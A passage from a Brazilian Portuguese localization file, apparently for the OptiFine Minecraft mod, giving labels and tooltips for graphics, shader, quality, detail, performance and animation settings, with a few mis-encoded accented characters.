Detalhados - taxa de quadros reduzida +of.options.FOG_FANCY.tooltip.4= Não - sem névoa (mais rápido) +of.options.FOG_FANCY.tooltip.5=A névoa detalhada estará disponível apenas caso seja +of.options.FOG_FANCY.tooltip.6=compatível com a placa de vídeo. + +of.options.FOG_START=Início do nevoeiro +of.options.FOG_START.tooltip.1=Início do nevoeiro +of.options.FOG_START.tooltip.2= 0.2 - a névoa começa perto de você +of.options.FOG_START.tooltip.3= 0.8 - a névoa começa longe de você +of.options.FOG_START.tooltip.4=Essa opção não afeta o desempenho. + +of.options.CHUNK_LOADING=Carreg. de chunks +of.options.CHUNK_LOADING.tooltip.1=Carregamento de chunks +of.options.CHUNK_LOADING.tooltip.2= Padrão - taxa instável ao carregar chunks +of.options.CHUNK_LOADING.tooltip.3= Fluído - taxa de quadros estável +of.options.CHUNK_LOADING.tooltip.4= Multinúcleo - carregamento 3x mais rápido +of.options.CHUNK_LOADING.tooltip.5=Fluído e Multinúcleo reduzem os travamentos +of.options.CHUNK_LOADING.tooltip.6=ao carregar chunks. +of.options.CHUNK_LOADING.tooltip.7=O Multinúcleo pode acelerar o carregamento e +of.options.CHUNK_LOADING.tooltip.8=aumentar a taxa de quadros usando um segundo CPU. +of.options.chunkLoading.smooth=Fluído +of.options.chunkLoading.multiCore=Multinúcleo + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=Não +of.options.shaders.packDefault=(interno) + +of.options.shaders.ANTIALIASING=Suavização +of.options.shaders.ANTIALIASING.tooltip.1=Suavização +of.options.shaders.ANTIALIASING.tooltip.2= Não - (padrão, rápido) sem suavização +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - linhas e cantos suavizados (lento) +of.options.shaders.ANTIALIASING.tooltip.4=O FXAA é um efeito de pós-processamento que +of.options.shaders.ANTIALIASING.tooltip.5=suaviza linhas e transições de cores. +of.options.shaders.ANTIALIASING.tooltip.6=Mais rápido do que a suavização comum e +of.options.shaders.ANTIALIASING.tooltip.7=compatível com shaders e renderização rápida. + +of.options.shaders.NORMAL_MAP=Mapa normal +of.options.shaders.NORMAL_MAP.tooltip.1=Mapa normal +of.options.shaders.NORMAL_MAP.tooltip.2= Sim - (padrão) ativar mapas normais +of.options.shaders.NORMAL_MAP.tooltip.3= Não - desativar mapas normais +of.options.shaders.NORMAL_MAP.tooltip.4=Mapas normais podem ser usados pelo pacote shader +of.options.shaders.NORMAL_MAP.tooltip.5=para simular efeitos geométricos em superfícies planas. +of.options.shaders.NORMAL_MAP.tooltip.6=As texturas de mapas normais são fornecidas pelo +of.options.shaders.NORMAL_MAP.tooltip.7=pacote de recursos. + +of.options.shaders.SPECULAR_MAP=Mapa especular +of.options.shaders.SPECULAR_MAP.tooltip.1=Mapa especular +of.options.shaders.SPECULAR_MAP.tooltip.2= Sim - (padrão) ativar mapas especulares +of.options.shaders.SPECULAR_MAP.tooltip.3= Não - desativar mapas especulares +of.options.shaders.SPECULAR_MAP.tooltip.4=Mapas especulares são usados pelo pacote shader +of.options.shaders.SPECULAR_MAP.tooltip.5=para simular efeitos reflexivos especiais. +of.options.shaders.SPECULAR_MAP.tooltip.6=As texturas de mapas especulares são fornecidas +of.options.shaders.SPECULAR_MAP.tooltip.7=pelo pacote de recursos. + +of.options.shaders.RENDER_RES_MUL=Qualidade +of.options.shaders.RENDER_RES_MUL.tooltip.1=Qualidade de renderização +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - baixa (rápido) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - padrão +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alta (lento) +of.options.shaders.RENDER_RES_MUL.tooltip.5=A qualidade de renderização define o tamanho +of.options.shaders.RENDER_RES_MUL.tooltip.6=da textura renderizada pelo pacote shader. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valores baixos podem funcionar em monitores 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valores altos funcionam como o filtro anisotrópico. + +of.options.shaders.SHADOW_RES_MUL=Sombra +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Qualidade de sombra +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - baixa (rápido) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - padrão +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alta (lento) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=A qualidade de sombra define o tamanho da textura de +of.options.shaders.SHADOW_RES_MUL.tooltip.6=sombra usada pelo pacote shader. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valores baixos = sombra comum. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valores altos = sombra detalhada. + +of.options.shaders.HAND_DEPTH_MUL=Profundidade +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profundidade da mão +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - próxima da câmera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (padrão) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - distante da câmera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=A profundidade da mão define o quão longe os itens +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=segurados estão da câmera. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Pacotes shader com desfoque de profundidade podem +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=mudar o embaçamento de itens segurados. + +of.options.shaders.CLOUD_SHADOW=Sombra das nuvens + +of.options.shaders.OLD_HAND_LIGHT=Ilum. pela mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Iluminação pela mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Padrão - definida pelo pacote shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sim - iluminação antiga +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Não - iluminação nova +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=A iluminação antiga permite que o pacote shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=reconheça a emissão de luzes por itens tanto na mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=principal como na secundária. + +of.options.shaders.OLD_LIGHTING=Ilum. antiga +of.options.shaders.OLD_LIGHTING.tooltip.1=Iluminação antiga +of.options.shaders.OLD_LIGHTING.tooltip.2= Padrão - definida pelo pacote shader +of.options.shaders.OLD_LIGHTING.tooltip.3= Sim - iluminação antiga +of.options.shaders.OLD_LIGHTING.tooltip.4= Não - iluminação nova +of.options.shaders.OLD_LIGHTING.tooltip.5=A iluminação antiga define o foco de luz comum aplicado +of.options.shaders.OLD_LIGHTING.tooltip.6=as laterais dos blocos. +of.options.shaders.OLD_LIGHTING.tooltip.7=Pacotes shaders podem fornecer uma melhor iluminação +of.options.shaders.OLD_LIGHTING.tooltip.8=dependendo da posição do Sol. + +of.options.shaders.DOWNLOAD=Baixar shaders +of.options.shaders.DOWNLOAD.tooltip.1=Baixar shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Abre a página de pacotes shader no navegador. +of.options.shaders.DOWNLOAD.tooltip.4=Coloque os pacotes shader baixados na pasta de shaders +of.options.shaders.DOWNLOAD.tooltip.5=e eles aparecerão na lista de shaders instalados. + +of.options.shaders.SHADER_PACK=Pacote shader + +of.options.shaders.shadersFolder=Pasta de shaders +of.options.shaders.shaderOptions=Shaders... + +of.options.shaderOptionsTitle=Opções do shader + +of.options.quality=Qualidade... +of.options.qualityTitle=Configurações de qualidade + +of.options.details=Detalhes... +of.options.detailsTitle=Configurações de detalhes + +of.options.performance=Desempenho... +of.options.performanceTitle=Configurações de desempenho + +of.options.animations=Animações... +of.options.animationsTitle=Configurações de animação + +of.options.other=Diversas... +of.options.otherTitle=Outras configurações + +of.options.other.reset=Restaurar configurações gráficas... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilinear +of.options.mipmap.linear=Linear +of.options.mipmap.nearest=Básico +of.options.mipmap.trilinear=Trilinear + +options.mipmapLevels.tooltip.1=Efeito visual que melhora a aparência de objetos +options.mipmapLevels.tooltip.2=distantes, suavizando os detalhes da textura. +options.mipmapLevels.tooltip.3= Não - sem suavização +options.mipmapLevels.tooltip.4= 1 - suavização mínima +options.mipmapLevels.tooltip.5= Máxima - suavização máxima +options.mipmapLevels.tooltip.6=Essa opção não afeta o desempenho. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efeito visual que melhora a aparência de objetos +of.options.MIPMAP_TYPE.tooltip.2=distantes, suavizando os detalhes da textura. +of.options.MIPMAP_TYPE.tooltip.3= Básico - suavização básica (rápido) +of.options.MIPMAP_TYPE.tooltip.4= Linear - suavização padrão +of.options.MIPMAP_TYPE.tooltip.5= Bilinear - suavização refinada +of.options.MIPMAP_TYPE.tooltip.6= Trilinear - suavização detalhada (lento) + +of.options.AA_LEVEL=Suavização +of.options.AA_LEVEL.tooltip.1=Suavização +of.options.AA_LEVEL.tooltip.2= Não - (padrão, rápido) sem suavização +of.options.AA_LEVEL.tooltip.3= 2-16 - linhas e bordas suavizadas (lento) +of.options.AA_LEVEL.tooltip.4=Esta opção suaviza linhas quadradas e +of.options.AA_LEVEL.tooltip.5=transições entre cores. +of.options.AA_LEVEL.tooltip.6=Pode reduzir a taxa de quadros. +of.options.AA_LEVEL.tooltip.7=Não é compatível em todas as placas de vídeo. +of.options.AA_LEVEL.tooltip.8=REINICIE ao alterar! + +of.options.AF_LEVEL=Filtragem anisotrópica +of.options.AF_LEVEL.tooltip.1=Filtragem anisotrópica +of.options.AF_LEVEL.tooltip.2= Não - (padrão, rápido) detalhes padrão da textura +of.options.AF_LEVEL.tooltip.3= 2-16 - texturas de mipmap mais detalhadas (lento) +of.options.AF_LEVEL.tooltip.4=A filtragem anisotrópica restaura detalhes em texturas +of.options.AF_LEVEL.tooltip.5=de mipmap. Pode reduzir significativamente +of.options.AF_LEVEL.tooltip.6=a taxa de quadros. + +of.options.CLEAR_WATER=Ãgua clara +of.options.CLEAR_WATER.tooltip.1=Ãgua clara +of.options.CLEAR_WATER.tooltip.2= Sim - água transparente +of.options.CLEAR_WATER.tooltip.3= Não - água padrão + +of.options.RANDOM_ENTITIES=Entidades aleatórias +of.options.RANDOM_ENTITIES.tooltip.1=Entidades aleatórias +of.options.RANDOM_ENTITIES.tooltip.2= Não - sem entidades aleatórias (rápido) +of.options.RANDOM_ENTITIES.tooltip.3= Sim - com entidades aleatórias (lento) +of.options.RANDOM_ENTITIES.tooltip.4=Entidades aleatórias usam texturas randômicas. +of.options.RANDOM_ENTITIES.tooltip.5=Requer um pacote com várias texturas de entidades. + +of.options.BETTER_GRASS=Grama melhorada +of.options.BETTER_GRASS.tooltip.1=Grama melhorada +of.options.BETTER_GRASS.tooltip.2= Não - textura padrão da grama (rápido) +of.options.BETTER_GRASS.tooltip.3= Rápidos - textura integrada da grama (lento) +of.options.BETTER_GRASS.tooltip.4= Detalhados - textura dinâmica da grama (mais lento) + +of.options.BETTER_SNOW=Neve melhorada +of.options.BETTER_SNOW.tooltip.1=Neve melhorada +of.options.BETTER_SNOW.tooltip.2= Não - neve padrão (rápido) +of.options.BETTER_SNOW.tooltip.3= Sim - neve integrada (lento) +of.options.BETTER_SNOW.tooltip.4=Exibe a neve ao redor e ao redor de blocos +of.options.BETTER_SNOW.tooltip.5=como cercas, flores e grama. + +of.options.CUSTOM_FONTS=Fontes personalizadas +of.options.CUSTOM_FONTS.tooltip.1=Fontes personalizadas +of.options.CUSTOM_FONTS.tooltip.2= Sim - (padrão, lento) fontes personalizadas +of.options.CUSTOM_FONTS.tooltip.3= Não - fontes comuns (rápido) +of.options.CUSTOM_FONTS.tooltip.4=As fontes personalizadas são fornecidas +of.options.CUSTOM_FONTS.tooltip.5=pelo pacote de recursos atual. + +of.options.CUSTOM_COLORS=Cores personalizadas +of.options.CUSTOM_COLORS.tooltip.1=Cores personalizadas +of.options.CUSTOM_COLORS.tooltip.2= Sim - (padrão, lento) cores personalizadas +of.options.CUSTOM_COLORS.tooltip.3= Não - cores comuns (rápido) +of.options.CUSTOM_COLORS.tooltip.4=As cores personalizadas são fornecidas +of.options.CUSTOM_COLORS.tooltip.5=pelo pacote de recursos atual. + +of.options.SWAMP_COLORS=Cores do pântano +of.options.SWAMP_COLORS.tooltip.1=Cores do bioma pântano +of.options.SWAMP_COLORS.tooltip.2= Sim - (padrão, lento) ativar cores do pântano +of.options.SWAMP_COLORS.tooltip.3= Não - desativar cores do pântano (rápido) +of.options.SWAMP_COLORS.tooltip.4=As cores do pântano afetam a vegetação e água. + +of.options.SMOOTH_BIOMES=Integrar biomas +of.options.SMOOTH_BIOMES.tooltip.1=Integrar bordas de biomas +of.options.SMOOTH_BIOMES.tooltip.2= Sim - (padrão, lento) integrar bordas de biomas +of.options.SMOOTH_BIOMES.tooltip.3= Não - distinguir bordas de biomas (rápido) +of.options.SMOOTH_BIOMES.tooltip.4=A transição entre biomas é feita pela média de +of.options.SMOOTH_BIOMES.tooltip.5=matizes dos blocos próximos. +of.options.SMOOTH_BIOMES.tooltip.6=Essa opção afeta a vegetação e água. + +of.options.CONNECTED_TEXTURES=Texturas lig. +of.options.CONNECTED_TEXTURES.tooltip.1=Texturas ligadas +of.options.CONNECTED_TEXTURES.tooltip.2= Não - (padrão) desativar texturas conectadas +of.options.CONNECTED_TEXTURES.tooltip.3= Rápidos - texturas conectadas rápidas +of.options.CONNECTED_TEXTURES.tooltip.4= Detalhados - texturas conectadas uniformes +of.options.CONNECTED_TEXTURES.tooltip.5=As texturas conectadas unem texturas de vidro, +of.options.CONNECTED_TEXTURES.tooltip.6=arenito e estantes ao colocá-las lado a lado. +of.options.CONNECTED_TEXTURES.tooltip.7=As texturas conectadas são fornecidas +of.options.CONNECTED_TEXTURES.tooltip.8=pelo pacote de recursos atual. + +of.options.NATURAL_TEXTURES=Texturas naturais +of.options.NATURAL_TEXTURES.tooltip.1=Texturas naturais +of.options.NATURAL_TEXTURES.tooltip.2= Não - (padrão) desativar texturas naturais +of.options.NATURAL_TEXTURES.tooltip.3= Sim - ativar texturas naturais +of.options.NATURAL_TEXTURES.tooltip.4=As texturas naturais reduzem a aparência linear dos +of.options.NATURAL_TEXTURES.tooltip.5=blocos de mesmo tipo. As variantes da base de +of.options.NATURAL_TEXTURES.tooltip.6=textura do bloco são usadas. +of.options.NATURAL_TEXTURES.tooltip.7=A configuração é fornecida pelo pacote de +of.options.NATURAL_TEXTURES.tooltip.8=recursos atual. + +of.options.EMISSIVE_TEXTURES=Texturas emissivas +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturas emissivas +of.options.EMISSIVE_TEXTURES.tooltip.2= Não - (padrão) desativar texturas emissivas +of.options.EMISSIVE_TEXTURES.tooltip.3= Sim - ativar texturas emissivas +of.options.EMISSIVE_TEXTURES.tooltip.4=Texturas emissivas são renderizadas como sobreposições +of.options.EMISSIVE_TEXTURES.tooltip.5=com brilho total. Podem ser usadas para simular emissões +of.options.EMISSIVE_TEXTURES.tooltip.6=de luz da textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7=As texturas emissivas são fornecidas pelo +of.options.EMISSIVE_TEXTURES.tooltip.8=pacote de recursos atual. + +of.options.CUSTOM_SKY=Céu personalizado +of.options.CUSTOM_SKY.tooltip.1=Céu personalizado +of.options.CUSTOM_SKY.tooltip.2= Sim - (padrão, lento) textura personalizada do céu +of.options.CUSTOM_SKY.tooltip.3= Não - textura padrão do céu (rápido) +of.options.CUSTOM_SKY.tooltip.4=As texturas personalizadas do céu são fornecidas +of.options.CUSTOM_SKY.tooltip.5=pelo pacote de recursos atual. + +of.options.CUSTOM_ITEMS=Itens personalizados +of.options.CUSTOM_ITEMS.tooltip.1=Itens personalizados +of.options.CUSTOM_ITEMS.tooltip.2= Sim - (padrão, lento) texturas personalizadas de itens +of.options.CUSTOM_ITEMS.tooltip.3= Não - texturas comuns de itens (rápido) +of.options.CUSTOM_ITEMS.tooltip.4=As texturas personalizadas de itens são fornecidas +of.options.CUSTOM_ITEMS.tooltip.5=pelo pacote de recursos atual. + +of.options.CUSTOM_ENTITY_MODELS=Modelos de entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Modelos personalizados de entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sim - (padrão) modelos personalizados de entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Não - modelos comuns de entidades (rápido) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Os modelos personalizados de entidades são +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=fornecidos pelo pacote de recursos atual. + +of.options.CUSTOM_GUIS=Interfaces personal. +of.options.CUSTOM_GUIS.tooltip.1=Interfaces personalizadas +of.options.CUSTOM_GUIS.tooltip.2= Sim - (padrão, lento) interfaces personalizadas +of.options.CUSTOM_GUIS.tooltip.3= Não - interfaces padrão (rápido) +of.options.CUSTOM_GUIS.tooltip.4=Disponíveis apenas em pacotes de recursos. + +# Details + +of.options.CLOUDS=Nuvens +of.options.CLOUDS.tooltip.1=Nuvens +of.options.CLOUDS.tooltip.2= Padrão - predefinido +of.options.CLOUDS.tooltip.3= Rápidos - baixa qualidade +of.options.CLOUDS.tooltip.4= Detalhados - alta qualidade +of.options.CLOUDS.tooltip.5= Não - desativar nuvens (mais rápido) +of.options.CLOUDS.tooltip.6=Nuvens rápidas em 2D. +of.options.CLOUDS.tooltip.7=Nuvens detalhadas em 3D. + +of.options.CLOUD_HEIGHT=Altura das nuvens +of.options.CLOUD_HEIGHT.tooltip.1=Altura das nuvens +of.options.CLOUD_HEIGHT.tooltip.2= Não - altura padrão +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - acima do limite de altura do mundo + +of.options.TREES=Ãrvores +of.options.TREES.tooltip.1=Ãrvores +of.options.TREES.tooltip.2= Padrão - predefinido +of.options.TREES.tooltip.3= Rápidos - baixa qualidade (mais rápido) +of.options.TREES.tooltip.4= Inteligentes - qualidade razoável (rápido) +of.options.TREES.tooltip.5= Detalhados - alta qualidade (lento) +of.options.TREES.tooltip.6=Na opção Rápidos, as árvores têm folhas opacas. Folhas +of.options.TREES.tooltip.7=de árvores Detalhados e Inteligentes são transparentes. + +of.options.RAIN=Chuva e neve +of.options.RAIN.tooltip.1=Chuva e neve +of.options.RAIN.tooltip.2= Padrão - predefinido +of.options.RAIN.tooltip.3= Rápidos - chuva e neve leves +of.options.RAIN.tooltip.4= Detalhados - chuva e neve densas (lento.) +of.options.RAIN.tooltip.5= Não - chuva e neve desativadas (mais rápido) +of.options.RAIN.tooltip.6=Ao desativar, os sons de precipitação ainda +of.options.RAIN.tooltip.7=podem estar ativados. + +of.options.SKY=Céu +of.options.SKY.tooltip.1=Céu +of.options.SKY.tooltip.2= Sim - céu ativado (lento) +of.options.SKY.tooltip.3= Não - céu desativado (rápido) +of.options.SKY.tooltip.4=Ao desativar, a Lua e o Sol ainda podem estar visíveis. + +of.options.STARS=Estrelas +of.options.STARS.tooltip.1=Estrelas +of.options.STARS.tooltip.2= Sim - estrelas visíveis (lento) +of.options.STARS.tooltip.3= Não - estrelas desativadas (rápido) + +of.options.SUN_MOON=Sol e Lua +of.options.SUN_MOON.tooltip.1=Sol e Lua +of.options.SUN_MOON.tooltip.2= Sim - (padrão) Sol e Lua visíveis +of.options.SUN_MOON.tooltip.3= Não - Sol e Lua desativados (rápido) + +of.options.SHOW_CAPES=Mostrar capas +of.options.SHOW_CAPES.tooltip.1=Mostrar capas de jogadores +of.options.SHOW_CAPES.tooltip.2= Sim - (padrão) mostrar capas de jogadores +of.options.SHOW_CAPES.tooltip.3= Não - ocultar capas de jogadores + +of.options.TRANSLUCENT_BLOCKS=Blocos transl. +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocos translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Padrão - predefinido +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Detalhados - transição correta de cores (lento) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rápidos - transição rápida de cores (mais rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Controla a transição de cores em blocos translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.6=de cores distintas (vidro tingido, água, gelo) ao +of.options.TRANSLUCENT_BLOCKS.tooltip.7=colocá-los atrás uns dos outros com espaço entre eles. + +of.options.HELD_ITEM_TOOLTIPS=Descrição de itens +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Descrição de itens segurados +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sim - (padrão) exibir descrições +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Não - ocultar descrições + +of.options.ADVANCED_TOOLTIPS=Descrições avançadas +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descrição avançada de objetos +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sim - exibir descrições +of.options.ADVANCED_TOOLTIPS.tooltip.3= Não - (padrão) ocultar descrições +of.options.ADVANCED_TOOLTIPS.tooltip.4=Descrições avançadas exibem mais informações sobre +of.options.ADVANCED_TOOLTIPS.tooltip.5=itens (ID, duração) e opções do shader como +of.options.ADVANCED_TOOLTIPS.tooltip.6=ID, fonte e valor padrão. + +of.options.DROPPED_ITEMS=Itens no chão +of.options.DROPPED_ITEMS.tooltip.1=Itens no chão +of.options.DROPPED_ITEMS.tooltip.2= Padrão - predefinido +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - itens 2D (rápido) +of.options.DROPPED_ITEMS.tooltip.4= Detalhados - itens 3D (lento) + +options.entityShadows.tooltip.1=Sombras de entidades +options.entityShadows.tooltip.2= Sim - mostrar sombras de entidades +options.entityShadows.tooltip.3= Não - desativar sombras de entidades + +oof.options.VIGNETTE=Vinheta +of.options.VIGNETTE.tooltip.1=Efeito visual que escurece as bordas da tela do jogo +of.options.VIGNETTE.tooltip.2= Padrão - predefinido +of.options.VIGNETTE.tooltip.3= Rápidos - vinheta desativada (rápido) +of.options.VIGNETTE.tooltip.4= Detalhados - vinheta ativada (lento) +of.options.VIGNETTE.tooltip.5=A vinheta pode afetar significativamente a taxa de +of.options.VIGNETTE.tooltip.6=quadros em tela inteira. +of.options.VIGNETTE.tooltip.7=O efeito da vinheta é sutil e pode +of.options.VIGNETTE.tooltip.8=ser desativado facilmente. + +of.options.DYNAMIC_FOV=Visão dinâmica +of.options.DYNAMIC_FOV.tooltip.1=Campo de visão dinâmico +of.options.DYNAMIC_FOV.tooltip.2= Sim - (padrão) ativar o campo de visão dinâmico +of.options.DYNAMIC_FOV.tooltip.3= Não - desativar o campo de visão dinâmico +of.options.DYNAMIC_FOV.tooltip.4=Muda o campo de visão ao voar, correr ou +of.options.DYNAMIC_FOV.tooltip.5=retesar um arco. + +of.options.DYNAMIC_LIGHTS=Luzes dinâmicas +of.options.DYNAMIC_LIGHTS.tooltip.1=Luzes dinâmicas +of.options.DYNAMIC_LIGHTS.tooltip.2= Não - (padrão) luzes comuns +of.options.DYNAMIC_LIGHTS.tooltip.3= Rápidos - luzes dinâmicas rápidas (a cada 500 ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Detalhados - luzes dinâmicas suaves (em tempo real) +of.options.DYNAMIC_LIGHTS.tooltip.5=Ativa a emissão de luzes por objetos como tochas e +of.options.DYNAMIC_LIGHTS.tooltip.6=blocos luminosos, quando segurados ou +of.options.DYNAMIC_LIGHTS.tooltip.7=caídos no chão. + +options.biomeBlendRadius.tooltip.1=Suaviza a transição de cores entre biomas +options.biomeBlendRadius.tooltip.2= Não - sem transição (rápido) +options.biomeBlendRadius.tooltip.3= 5x5 - (padrão) transição normal +options.biomeBlendRadius.tooltip.4= 15x15 - transição máxima (lento) +options.biomeBlendRadius.tooltip.5=Valores altos podem gerar mais travamentos +options.biomeBlendRadius.tooltip.6=e atrasar o carregamento de chunks. + +# Performance + +of.options.SMOOTH_FPS=FPS estável +of.options.SMOOTH_FPS.tooltip.1=Estabiliza a taxa ao equilibrar buffers da placa gráfica. +of.options.SMOOTH_FPS.tooltip.2= Não - taxa de quadros instável +of.options.SMOOTH_FPS.tooltip.3= Sim - taxa de quadros estável +of.options.SMOOTH_FPS.tooltip.4=Essa opção depende da placa de vídeo e seu efeito não +of.options.SMOOTH_FPS.tooltip.5=é sempre visível. + +of.options.SMOOTH_WORLD=Mundo estável +of.options.SMOOTH_WORLD.tooltip.1=Reduz a latência causada pelo servidor interno. +of.options.SMOOTH_WORLD.tooltip.2= Não - taxa de quadros flutuante +of.options.SMOOTH_WORLD.tooltip.3= Sim - taxa de quadros estável +of.options.SMOOTH_WORLD.tooltip.4=Particiona o carregamento do servidor interno. +of.options.SMOOTH_WORLD.tooltip.5=Disponível apenas em mundos locais. + +of.options.FAST_RENDER=Render. rápida +of.options.FAST_RENDER.tooltip.1=Renderização rápida +of.options.FAST_RENDER.tooltip.2= Não - (padrão) renderização comum +of.options.FAST_RENDER.tooltip.3= Sim - renderização otimizada (rápido) +of.options.FAST_RENDER.tooltip.4=Utiliza um algoritmo especial de renderização que +of.options.FAST_RENDER.tooltip.5=reduz o uso da GPU e eleva a taxa de quadros. +of.options.FAST_RENDER.tooltip.6=Essa opção pode entrar em conflito com outros mods. + +of.options.FAST_MATH=Otimizar cálculos +of.options.FAST_MATH.tooltip.1=Otimização de cálculos +of.options.FAST_MATH.tooltip.2= Não - (padrão) cálculos comuns +of.options.FAST_MATH.tooltip.3= Sim - cálculos otimizados +of.options.FAST_MATH.tooltip.4=Utiliza funções seno() e cosseno() especiais que +of.options.FAST_MATH.tooltip.5=otimizam o cache da CPU e elevam a taxa de quadros. +of.options.FAST_MATH.tooltip.6=Essa opção pode afetar minimamente a geração de mundos. + +of.options.CHUNK_UPDATES=Atualiz. de chunks +of.options.CHUNK_UPDATES.tooltip.1=Atualizações de chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - (padrão, rápido) carregamento lento do mundo +of.options.CHUNK_UPDATES.tooltip.3= 3 - carregamento rápido do mundo (lento) +of.options.CHUNK_UPDATES.tooltip.4= 5 - carregamento instantâneo (mais lento) +of.options.CHUNK_UPDATES.tooltip.5=Número de atualiz. de chunks por quadro renderizado. +of.options.CHUNK_UPDATES.tooltip.6=Valores altos podem desestabilizar a taxa de quadros. + +of.options.CHUNK_UPDATES_DYNAMIC=Atualiz. dinâmicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Atualizações dinâmicas de chunks +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Não - (padrão) atualização de chunks por quadros +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sim - atualizações contínuas ao jogar +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Atualizações dinâmicas demandam mais atualizações +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=de chunks para carregar o mundo rapidamente. + +of.options.LAZY_CHUNK_LOADING=Carreg. limitado +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carregamento limitado de chunks +of.options.LAZY_CHUNK_LOADING.tooltip.2= Não - carregamento padrão do servidor +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sim - carregamento limitado (rápido) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Otimiza o carregamento de chunks do servidor +of.options.LAZY_CHUNK_LOADING.tooltip.5=integrado com a distribuição de ciclos. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Desativar se partes do mundo não carregarem +of.options.LAZY_CHUNK_LOADING.tooltip.7=corretamente. Disponível apenas em mundos locais. + +of.options.RENDER_REGIONS=Render. de regiões +of.options.RENDER_REGIONS.tooltip.1=Renderização de regiões +of.options.RENDER_REGIONS.tooltip.2= Não - (padrão) desativar renderização de regiões +of.options.RENDER_REGIONS.tooltip.3= Sim - ativar renderização de regiões +of.options.RENDER_REGIONS.tooltip.4=Renderiza terrenos distantes mais rapidamente. +of.options.RENDER_REGIONS.tooltip.5=Ative o VBO para melhores resultados. +of.options.RENDER_REGIONS.tooltip.6=Não recomendado com placas de vídeo integradas. + +of.options.SMART_ANIMATIONS=Animações intel. +of.options.SMART_ANIMATIONS.tooltip.1=Animações inteligentes +of.options.SMART_ANIMATIONS.tooltip.2= Não - (padrão) animações comuns +of.options.SMART_ANIMATIONS.tooltip.3= Sim - animações inteligentes +of.options.SMART_ANIMATIONS.tooltip.4=O jogo animará somente as texturas +of.options.SMART_ANIMATIONS.tooltip.5=visíveis no momento. +of.options.SMART_ANIMATIONS.tooltip.6=A latência é reduzida e a taxa de quadros sobe. +of.options.SMART_ANIMATIONS.tooltip.7=Recomendado para pacotes de recursos em alta definição. + +# Animations + +of.options.animation.allOn=Sim +of.options.animation.allOff=Não +of.options.animation.dynamic=Dinâmicas + +of.options.ANIMATED_WATER=Ãgua animada +of.options.ANIMATED_LAVA=Lava animada +of.options.ANIMATED_FIRE=Fogo animado +of.options.ANIMATED_PORTAL=Portal animado +of.options.ANIMATED_REDSTONE=Redstone animada +of.options.ANIMATED_EXPLOSION=Explosão animada +of.options.ANIMATED_FLAME=Chama animada +of.options.ANIMATED_SMOKE=Fumaça animada +of.options.VOID_PARTICLES=Partículos do vazio +of.options.WATER_PARTICLES=Partículas de água +of.options.RAIN_SPLASH=Respingos de chuva +of.options.PORTAL_PARTICLES=Partículas de portal +of.options.POTION_PARTICLES=Partículas de poção +of.options.DRIPPING_WATER_LAVA=Gotas de água e lava +of.options.ANIMATED_TERRAIN=Terreno animado +of.options.ANIMATED_TEXTURES=Texturas animadas +of.options.FIREWORK_PARTICLES=Fogos de artifício + +# Other + +of.options.LAGOMETER=Lagômetro +of.options.LAGOMETER.tooltip.1=Análise de latência na janela de 